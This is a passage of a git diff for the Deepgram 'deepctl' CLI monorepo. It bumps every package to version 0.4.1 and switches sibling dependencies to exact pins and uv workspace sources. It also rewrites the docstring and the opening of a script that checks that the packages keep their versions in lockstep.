@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-listen"
-version = "0.0.14" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Listen (live speech-to-text) command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,8 +21,9 @@ classifiers = [
 keywords = ["deepgram", "cli", "stt", "live", "streaming", "listen"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.2.15",
-    "deepctl-shared-utils>=0.1.10",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
+    "deepctl-shared-utils==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -43,3 +44,8 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_listen*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
+deepctl-shared-utils = { workspace = true }
diff --git a/packages/deepctl-cmd-login/pyproject.toml b/packages/deepctl-cmd-login/pyproject.toml
index f85a67ec..630534b0 100644
--- a/packages/deepctl-cmd-login/pyproject.toml
+++ b/packages/deepctl-cmd-login/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-login"
-version = "0.2.0" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Login command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "login", "authentication"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.2.19",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "deepgram-sdk>=7.7.0,<8",
@@ -43,3 +44,7 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_login*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-mcp/pyproject.toml b/packages/deepctl-cmd-mcp/pyproject.toml
index b6c82933..ccd93b75 100644
--- a/packages/deepctl-cmd-mcp/pyproject.toml
+++ b/packages/deepctl-cmd-mcp/pyproject.toml
@@ -4,14 +4,15 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-mcp"
-version = "0.1.15" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "MCP server for deepctl: Deepgram documentation search over stdio"
 readme = "README.md"
 authors = [{ name = "Deepgram", email = "devrel@deepgram.com" }]
 requires-python = ">=3.10"
 license = "MIT"
 dependencies = [
-    "deepctl-core>=0.1.10",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     # The stdio proxy lives in deepctl_cmd_mcp.proxy (vendored from
     # deepgram-mcp), so installing deepctl adds no deepgram-mcp console
     # script. 1.22 is the oldest mcp that runs dg mcp with current pydantic
@@ -53,3 +54,7 @@ ignore = ["E501"]
 python_version = "3.10"
 warn_return_any = true
 warn_unused_configs = true
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-members/pyproject.toml b/packages/deepctl-cmd-members/pyproject.toml
index 87a8d1b4..b5ec6ef1 100644
--- a/packages/deepctl-cmd-members/pyproject.toml
+++ b/packages/deepctl-cmd-members/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-members"
-version = "0.1.0" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Members management command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "members", "team"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.2.16",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -38,3 +39,7 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_members*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-models/pyproject.toml b/packages/deepctl-cmd-models/pyproject.toml
index f9bb3146..459dd732 100644
--- a/packages/deepctl-cmd-models/pyproject.toml
+++ b/packages/deepctl-cmd-models/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-models"
-version = "0.1.1" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Models command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "models"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.2.16",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -39,3 +40,7 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_models*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-plugin/pyproject.toml b/packages/deepctl-cmd-plugin/pyproject.toml
index adf96e64..e3d0f7ae 100644
--- a/packages/deepctl-cmd-plugin/pyproject.toml
+++ b/packages/deepctl-cmd-plugin/pyproject.toml
@@ -2,11 +2,13 @@
 name = "deepctl-cmd-plugin"
 description = "Plugin management command for deepctl"
 readme = "README.md"
-version = "0.1.14" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 requires-python = ">=3.10"
 authors = [{ name = "Deepgram DevRel", email = "devrel@deepgram.com" }]
 dependencies = [
-    "deepctl-core>=0.2.19",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
+    "deepctl-cmd-update==0.4.1", # x-release-please-version
     "packaging>=21.0",
     "toml>=0.10.2",
 ]
@@ -20,3 +22,8 @@ build-backend = "hatchling.build"
 
 [tool.hatch.build.targets.wheel]
 packages = ["src/deepctl_cmd_plugin"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-cmd-update = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-projects/pyproject.toml b/packages/deepctl-cmd-projects/pyproject.toml
index 93ab69cb..51eedd86 100644
--- a/packages/deepctl-cmd-projects/pyproject.toml
+++ b/packages/deepctl-cmd-projects/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-projects"
-version = "0.2.0" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Projects command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "projects", "management"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.2.16",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "deepgram-sdk>=7.7.0,<8",
@@ -40,3 +41,7 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_projects*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-read/pyproject.toml b/packages/deepctl-cmd-read/pyproject.toml
index 0e58d4fc..7bee9ab1 100644
--- a/packages/deepctl-cmd-read/pyproject.toml
+++ b/packages/deepctl-cmd-read/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-read"
-version = "0.1.0" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Read (text intelligence) command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "text-intelligence", "nlp", "read"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.2.16",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -38,3 +39,7 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_read*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-requests/pyproject.toml b/packages/deepctl-cmd-requests/pyproject.toml
index 55f73b42..53bf4919 100644
--- a/packages/deepctl-cmd-requests/pyproject.toml
+++ b/packages/deepctl-cmd-requests/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-requests"
-version = "0.1.0" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Requests history command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "requests", "history"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.2.16",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -38,3 +39,7 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_requests*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-skills/pyproject.toml b/packages/deepctl-cmd-skills/pyproject.toml
index 8e9bd3a6..c1629adb 100644
--- a/packages/deepctl-cmd-skills/pyproject.toml
+++ b/packages/deepctl-cmd-skills/pyproject.toml
@@ -2,11 +2,12 @@
 name = "deepctl-cmd-skills"
 description = "AI coding assistant skill management for deepctl"
 readme = "README.md"
-version = "0.0.9" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 requires-python = ">=3.10"
 authors = [{ name = "Deepgram DevRel", email = "devrel@deepgram.com" }]
 dependencies = [
-    "deepctl-core>=0.2.19",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
 ]
@@ -20,3 +21,7 @@ build-backend = "hatchling.build"
 
 [tool.hatch.build.targets.wheel]
 packages = ["src/deepctl_cmd_skills"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-speak/pyproject.toml b/packages/deepctl-cmd-speak/pyproject.toml
index 3d7343c5..e9ad9b32 100644
--- a/packages/deepctl-cmd-speak/pyproject.toml
+++ b/packages/deepctl-cmd-speak/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-speak"
-version = "0.0.5" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Speak (text-to-speech) command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "tts", "text-to-speech", "speak"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.2.15",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -38,3 +39,7 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_speak*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-transcribe/pyproject.toml b/packages/deepctl-cmd-transcribe/pyproject.toml
index c9665aa3..4a59ebe0 100644
--- a/packages/deepctl-cmd-transcribe/pyproject.toml
+++ b/packages/deepctl-cmd-transcribe/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-transcribe"
-version = "0.1.12" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Transcribe command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,8 +21,9 @@ classifiers = [
 keywords = ["deepgram", "cli", "transcribe", "speech", "audio"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.1.10",
-    "deepctl-cmd-listen>=0.0.2",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
+    "deepctl-cmd-listen==0.4.1", # x-release-please-version
 ]
 
 [project.scripts]
@@ -37,3 +38,8 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_transcribe*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-cmd-listen = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-update/pyproject.toml b/packages/deepctl-cmd-update/pyproject.toml
index cb06ffd1..d20a514c 100644
--- a/packages/deepctl-cmd-update/pyproject.toml
+++ b/packages/deepctl-cmd-update/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-update"
-version = "0.2.7" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Update command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -22,7 +22,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "update", "self-update"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.1.10",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "pydantic>=2.0.0",
     "rich>=13.0.0",
@@ -50,3 +51,4 @@ include = ["deepctl_cmd_update*"]
 
 [tool.uv.sources]
 deepctl-core = { workspace = true }
+deepctl = { workspace = true }
diff --git a/packages/deepctl-cmd-usage/pyproject.toml b/packages/deepctl-cmd-usage/pyproject.toml
index af0a04ef..ff6c0917 100644
--- a/packages/deepctl-cmd-usage/pyproject.toml
+++ b/packages/deepctl-cmd-usage/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-usage"
-version = "0.2.1" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Usage command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,8 +21,9 @@ classifiers = [
 keywords = ["deepgram", "cli", "usage", "statistics"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.2.16",
-    "deepctl-shared-utils>=0.1.10",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
+    "deepctl-shared-utils==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "deepgram-sdk>=7.7.0,<8",
@@ -41,3 +42,8 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_usage*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
+deepctl-shared-utils = { workspace = true }
diff --git a/packages/deepctl-core/pyproject.toml b/packages/deepctl-core/pyproject.toml
index edeb6290..8aca0d0e 100644
--- a/packages/deepctl-core/pyproject.toml
+++ b/packages/deepctl-core/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-core"
-version = "0.3.0" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Core components for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -22,6 +22,7 @@ classifiers = [
 keywords = ["deepgram", "core", "auth", "config", "client"]
 requires-python = ">=3.10"
 dependencies = [
+    "deepctl==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "deepgram-sdk>=7.7.0,<8",
     "pydantic>=2.0.0",
@@ -48,3 +49,6 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_core*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
diff --git a/packages/deepctl-shared-utils/pyproject.toml b/packages/deepctl-shared-utils/pyproject.toml
index 25e930d8..4c66c3a2 100644
--- a/packages/deepctl-shared-utils/pyproject.toml
+++ b/packages/deepctl-shared-utils/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-shared-utils"
-version = "0.1.13" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Shared utilities for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -20,7 +20,13 @@ classifiers = [
 ]
 keywords = ["deepgram", "utilities", "validation", "helpers"]
 requires-python = ">=3.10"
-dependencies = ["pydantic>=2.0.0", "click>=8.0.0", "httpx>=0.24.0", "rich>=13.0.0"]
+dependencies = [
+    "deepctl==0.4.1", # x-release-please-version
+    "pydantic>=2.0.0",
+    "click>=8.0.0",
+    "httpx>=0.24.0",
+    "rich>=13.0.0",
+]
 
 [tool.setuptools]
 package-dir = { "" = "src" }
@@ -28,3 +34,6 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_shared_utils*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
diff --git a/packages/deepctl-shared-utils/src/deepctl_shared_utils/__init__.py b/packages/deepctl-shared-utils/src/deepctl_shared_utils/__init__.py
index 8d1a446d..d4d54e3e 100644
--- a/packages/deepctl-shared-utils/src/deepctl_shared_utils/__init__.py
+++ b/packages/deepctl-shared-utils/src/deepctl_shared_utils/__init__.py
@@ -28,4 +28,4 @@
     "validate_url",
 ]
 
-__version__ = "0.1.13"  # x-release-please-version
+__version__ = "0.4.1"  # x-release-please-version
diff --git a/packages/deepctl-telemetry/pyproject.toml b/packages/deepctl-telemetry/pyproject.toml
index 8220cd8b..d9bacced 100644
--- a/packages/deepctl-telemetry/pyproject.toml
+++ b/packages/deepctl-telemetry/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-telemetry"
-version = "0.0.7" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Error reporting for deepctl; this version sends no telemetry"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "telemetry", "sentry"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.3.0",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "sentry-sdk>=2.35.0,<3",
     "click>=8.0.0",
     "rich>=13.0.0",
@@ -36,3 +37,4 @@ include = ["deepctl_telemetry*"]
 
 [tool.uv.sources]
 deepctl-core = { workspace = true }
+deepctl = { workspace = true }
diff --git a/packages/deepctl-telemetry/src/deepctl_telemetry/__init__.py b/packages/deepctl-telemetry/src/deepctl_telemetry/__init__.py
index e469e67e..c49d6435 100644
--- a/packages/deepctl-telemetry/src/deepctl_telemetry/__init__.py
+++ b/packages/deepctl-telemetry/src/deepctl_telemetry/__init__.py
@@ -12,4 +12,4 @@
     "report_exception",
 ]
 
-__version__ = "0.0.7"  # x-release-please-version
+__version__ = "0.4.1"  # x-release-please-version
diff --git a/pyproject.toml b/pyproject.toml
index 21647c0a..1d72c3fb 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl"
-version = "0.4.0" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Official Deepgram CLI for speech recognition and audio intelligence"
 readme = "README.md"
 license = "MIT"
@@ -35,35 +35,35 @@ requires-python = ">=3.10"
 dependencies = [
     "click>=8.0.0",
     "deepgram-sdk>=7.7.0,<8",
-    "deepctl-core>=0.3.0",
-    "deepctl-cmd-login>=0.2.0",
-    "deepctl-cmd-projects>=0.2.0",
-    "deepctl-cmd-transcribe>=0.1.12",
-    "deepctl-cmd-usage>=0.2.1",
-    "deepctl-cmd-mcp>=0.1.15",
-    "deepctl-cmd-api>=0.0.2",
-    "deepctl-cmd-debug>=0.1.13",
-    "deepctl-cmd-debug-browser>=0.1.12",
-    "deepctl-cmd-debug-network>=0.1.12",
-    "deepctl-cmd-debug-audio>=0.1.14",
-    "deepctl-cmd-debug-probe>=0.0.2",
-    "deepctl-cmd-debug-toolkit>=0.2.0",
-    "deepctl-cmd-ffprobe>=0.0.3",
-    "deepctl-cmd-update>=0.2.7",
-    "deepctl-cmd-plugin>=0.1.14",
-    "deepctl-cmd-skills>=0.0.9",
-    "deepctl-cmd-init>=0.1.0",
-    "deepctl-cmd-models>=0.1.1",
-    "deepctl-cmd-speak>=0.0.5",
-    "deepctl-cmd-keys>=0.1.0",
-    "deepctl-cmd-read>=0.1.0",
-    "deepctl-cmd-listen>=0.0.14",
-    "deepctl-cmd-requests>=0.1.0",
-    "deepctl-cmd-billing>=0.1.0",
-    "deepctl-cmd-members>=0.1.0",
-    "deepctl-cmd-completion>=0.0.3",
-    "deepctl-shared-utils>=0.1.13",
-    "deepctl-telemetry>=0.0.7",
+    "deepctl-core==0.4.1", # x-release-please-version
+    "deepctl-cmd-login==0.4.1", # x-release-please-version
+    "deepctl-cmd-projects==0.4.1", # x-release-please-version
+    "deepctl-cmd-transcribe==0.4.1", # x-release-please-version
+    "deepctl-cmd-usage==0.4.1", # x-release-please-version
+    "deepctl-cmd-mcp==0.4.1", # x-release-please-version
+    "deepctl-cmd-api==0.4.1", # x-release-please-version
+    "deepctl-cmd-debug==0.4.1", # x-release-please-version
+    "deepctl-cmd-debug-browser==0.4.1", # x-release-please-version
+    "deepctl-cmd-debug-network==0.4.1", # x-release-please-version
+    "deepctl-cmd-debug-audio==0.4.1", # x-release-please-version
+    "deepctl-cmd-debug-probe==0.4.1", # x-release-please-version
+    "deepctl-cmd-debug-toolkit==0.4.1", # x-release-please-version
+    "deepctl-cmd-ffprobe==0.4.1", # x-release-please-version
+    "deepctl-cmd-update==0.4.1", # x-release-please-version
+    "deepctl-cmd-plugin==0.4.1", # x-release-please-version
+    "deepctl-cmd-skills==0.4.1", # x-release-please-version
+    "deepctl-cmd-init==0.4.1", # x-release-please-version
+    "deepctl-cmd-models==0.4.1", # x-release-please-version
+    "deepctl-cmd-speak==0.4.1", # x-release-please-version
+    "deepctl-cmd-keys==0.4.1", # x-release-please-version
+    "deepctl-cmd-read==0.4.1", # x-release-please-version
+    "deepctl-cmd-listen==0.4.1", # x-release-please-version
+    "deepctl-cmd-requests==0.4.1", # x-release-please-version
+    "deepctl-cmd-billing==0.4.1", # x-release-please-version
+    "deepctl-cmd-members==0.4.1", # x-release-please-version
+    "deepctl-cmd-completion==0.4.1", # x-release-please-version
+    "deepctl-shared-utils==0.4.1", # x-release-please-version
+    "deepctl-telemetry==0.4.1", # x-release-please-version
     "pydantic>=2.0.0",
     "rich>=13.0.0",
     "httpx>=0.24.0",
diff --git a/scripts/check_dependency_floors.py b/scripts/check_dependency_floors.py
index 61da1c04..c14b3529 100644
--- a/scripts/check_dependency_floors.py
+++ b/scripts/check_dependency_floors.py
@@ -1,39 +1,43 @@
 #!/usr/bin/env python3
-"""Check (or fix) intra-workspace dependency floors.
-
-Three rules, learned from the 0.3.0 release (PRs #100/#102):
-
-1. **Root floors equal workspace versions.** `dg update` runs
-   `pip install --upgrade deepctl`, and pip's default `only-if-needed`
-   strategy upgrades a sub-package only when the root floor forces it. Any
-   root floor below the current version means that package's fixes are
-   published but never delivered on upgrade — `dg --version` reports the new
-   release while 13 of 17 packages stay stale, which is what happened before
-   0.3.0. Root's dependency list is the delivery manifest, so each
-   `deepctl-*` floor must equal that package's current workspace version.
-
-2. **Sub-package floors stay satisfiable.** Sub-package floors are API
-   contracts (e.g. deepctl-cmd-keys needs the deepctl-core that provides
-   `get_status_console`), hand-raised when a package starts using a newer
-   sibling API. They must never exceed the sibling's current version.
-   Keeping them *accurate* is still on the developer: raise the floor in the
-   same PR that starts importing the new API.
-
-3. **Root's dependency list covers every published package.** Rule 1 only
-   validates the floors that are already listed. A package that release-please
-   versions and publishes but that nobody added to root's `dependencies` is
-   never installed by `pip install --upgrade deepctl` at all — the same
-   delivery gap as rule 1, through the door rule 1 leaves open. Anything
-   deliberately not shipped as part of the CLI goes in NOT_SHIPPED, so that
-   intent is stated in the diff rather than inferred from an omission.
-
-Versions are compared with `packaging.version.Version`, not as strings, so a
-pre-release anywhere in the workspace (0.4.0rc1, 1.0.0.dev1, 0.3.0.post1)
-behaves like any other version instead of turning `--fix` into a loop the
-following check can never satisfy.
-
-Run with --fix to rewrite root floors in place (used by the release
-workflow's sync job so rule 1 holds automatically on every release PR).
+"""Check (or fix) lockstep versions across the first-party packages.
+
+Every first-party distribution -- the root `deepctl` plus every package under
+`packages/` except `deepctl-plugin-example` -- ships at one version, V, the
+root's `project.version`. The check fails when any of these is not true:
+
+1. **One version.** Every lockstep package's `project.version` is V, and so is
+   every `__version__` line carrying an `x-release-please-version` marker.
+   The release-please manifest has a single lockstep entry, `"."`, at V.
+
+2. **Exact pins.** Every dependency on a first-party package is exactly
+   `name==V` (no `>=`, no range, no extras, no environment marker), and its
+   line carries the `x-release-please-version` marker so release-please moves
+   it with the version. A `>=` floor is a failure even when it equals V: a
+   floor lets pip pair a new package with an old sibling, which is what the
+   `==` pins exist to prevent, and a floor that is too low is the same bug.
+
+3. **Root lists every package.** `pip install --upgrade deepctl` (what
+   `dg update` runs) only installs what root depends on.
+
+4. **The back-edge.** Every lockstep sibling declares `deepctl==V`. Without
+   it, `pip install -U deepctl-cmd-listen` upgrades that one package and
+   leaves the root and the other siblings behind; with it, the resolver moves
+   the whole set or refuses.
+
+5. **Workspace sources.** Every first-party dependency is resolved from the
+   workspace (`[tool.uv.sources] name = { workspace = true }`), so `uv lock`
+   never pins a lockstep sibling to a PyPI release.
+
+The plugin example is the third-party fixture and versions separately. Its
+first-party requirements must only be satisfiable at V.
+
+Run with --fix to rewrite every version, pin, back-edge, manifest entry and
+workspace source in place. The release workflow's fix-up job runs it on the
+release PR after release-please bumps the versions, then `uv lock`, then the
+check again.
+
+Versions are compared with `packaging.version.Version`, so a pre-release
+(1.0.0rc1) behaves like any other version.
 """
 
 from __future__ import annotations
@@ -42,8 +46,9 @@
 import json
 import re
 import sys
-from dataclasses import dataclass
+from dataclasses import dataclass, field
 from pathlib import Path
+from typing import Any
 
 if sys.version_info >= (3, 11):
     import tomllib
@@ -57,204 +62,455 @@
         )
         sys.exit(1)
 
+from typing import TYPE_CHECKING
+
+from packaging.requirements import InvalidRequirement, Requirement
+from packaging.utils import canonicalize_name
 from packaging.version import InvalidVersion, Version
 
+if TYPE_CHECKING:
+    from collections.abc import Iterator
+
 REPO = Path(__file__).resolve().parent.parent
 MANIFEST = REPO / ".github" / ".release-please-manifest.json"
 
-# Published packages that are deliberately not part of what `dg` installs.
-# Everything else in the manifest must be a root dependency (rule 3).
-NOT_SHIPPED = {
-    "deepctl",  # the root package itself
-    "deepctl-plugin-example",  # sample plugin, installed on demand
-}
-
-# A PEP 508 requirement, narrowed to intra-workspace packages: the name, an
-# optional extras group, then whatever the author wrote after it. Matching
-# only bare `name>=version` used to make `deepctl-cmd-keys[extra]>=0.0.1` or
-# `deepctl-cmd-keys==0.1.0` invisible to rules 1 and 3, so the guard reported
-# a listed package as missing from root entirely.
-_DEP_RE = re.compile(
-    r"^\s*(?P<name>deepctl[A-Za-z0-9._-]*)"
-    r"\s*(?:\[[^\]]*\])?"
-    r"\s*(?P<rest>.*)$"
+ROOT_NAME = "deepctl"
+#: Packages under packages/ that version on their own. The plugin example is
+#: the third-party fixture: it must keep working against a released deepctl
+#: the way an outside plugin would, so it is not part of the lockstep set.
+NOT_LOCKSTEP = {"deepctl-plugin-example"}
+MARKER = "# x-release-please-version"
+
+_VERSION_LINE = re.compile(r'^(?P<key>version\s*=\s*)"(?P<version>[^"]*)"(?P<rest>.*)$')
+_DUNDER_VERSION = re.compile(
+    r'^(?P<head>__version__\s*=\s*)"(?P<version>[^"]*)"(?P<rest>.*)$'
 )
-# The floor itself. The version runs to the first delimiter, so an upper
-# bound (`,<2`), an environment marker (`; python_version < "3.12"`) and a
-# PEP 440 suffix (`0.4.0rc1`) all survive intact.
-_FLOOR_RE = re.compile(r"^(?P<spec>>=\s*(?P<version>[^\s,;]+))")
+_DEP_LINE = re.compile(r'^(?P<indent>\s*)"(?P<req>[^"]*)"\s*,?\s*(?P<comment>#.*)?$')
 
 
-@dataclass(frozen=True)
-class Dep:
-    """One intra-workspace dependency as root or a package declares it."""
+@dataclass
+class Project:
+    """One pyproject.toml, plus enough of its text to rewrite it."""
 
+    path: Path
     name: str
-    #: The pinned floor, or None when the spec is not a plain `>=`.
-    floor: str | None
-    #: Exact `>=…` text matched, so --fix can rewrite it in place.
-    spec: str
-    #: The whole dependency string, as written.
-    raw: str
-
-
-def workspace_versions() -> dict[str, str]:
-    """Map package name -> current workspace version, per the manifest."""
-    versions: dict[str, str] = {}
-    for path in json.loads(MANIFEST.read_text(encoding="utf-8")):
-        pyproject = REPO / (
-            "pyproject.toml" if path == "." else f"{path}/pyproject.toml"
-        )
-        project = tomllib.loads(pyproject.read_text(encoding="utf-8"))["project"]
-        versions[project["name"]] = project["version"]
-    return versions
+    version: str
+    lines: list[str]
+    deps_start: int  # index of the `dependencies = [` line, or -1
+    deps_end: int  # index of the closing `]`, or -1
